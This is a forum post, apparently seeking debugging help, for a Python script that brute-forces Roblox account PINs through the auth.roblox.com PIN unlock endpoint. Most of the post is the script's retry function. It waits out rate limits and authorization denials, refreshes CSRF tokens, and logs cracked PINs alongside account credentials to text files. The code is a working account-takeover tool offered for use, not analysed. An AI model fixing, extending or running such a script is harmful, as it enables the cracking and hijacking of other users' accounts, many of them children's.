I have no clue why it used to work weeks ago and now it doesn't. If anyone knows if they have like moved to another api link or whatever please kindly let me know: https://auth.roblox.com/v1/account/pin/unlock Ran a program using it and worked perfectly fine until those days where it gives me this error: [ERROR] ChunkedEncodingError: ("Connection broken: InvalidChunkLength(got length b'', 0 bytes read)", InvalidChunkLength(got length b'', 0 bytes read)). Retrying in 1 seconds. (the script is written to give me that error at the very end of here def try_pin(pin, retries=3): global tried retry_count = 0 backoff = 1 while retry_count < retries: try: r = req.post('https://auth.roblox.com/v1/account/pin/unlock', json={'pin': pin}) if 'X-CSRF-TOKEN' in r.headers: req.headers['X-CSRF-TOKEN'] = r.headers['X-CSRF-TOKEN'] return 'retry' elif 'errors' in r.json(): code = r.json()['errors'][0]['code'] if code == 0 and r.json()['errors'][0]['message'] == 'Authorization has been denied for this request.': print(f'[FAILURE] Authorization denied. Waiting for 2 minutes before retrying.') time.sleep(60 * 2) return 'retry' elif code == 1: print(f'[SUCCESS] NO PIN') with open('pins.txt', 'a') as f: f.write(f'NO PIN:{credentials}\n') return 'break' elif code == 3 or '"message":"TooManyRequests"' in r.text: print(f'[RATE LIMITED] Waiting for 2 minutes before retrying.') time.sleep(60 * 2) return 'retry' elif code == 4: tried += 1 save_tried_pin(pin, tried_pins_file, tried_pins) return 'break' elif 'unlockedUntil' in r.json(): print(f'[SUCCESS] {pin}') with open('validpin.txt', 'a') as f: f.write(f'{pin}\n') with open('pins.txt', 'a') as f: f.write(f'{pin}:{credentials}\n') save_tried_pin(pin, tried_pins_file, tried_pins) return 'break' else: print(f'[ERROR] {r.text}') return 'error' except requests.exceptions.ChunkedEncodingError as e: print(f'[ERROR] ChunkedEncodingError: {e}. Retrying in {backoff} seconds.') retry_count += 1 time.sleep(backoff) backoff *= 2 # Exponential backoff except requests.exceptions.RequestException as e: print(f'[ERROR] RequestException: {e}') return 'error' return 'error' Continue reading...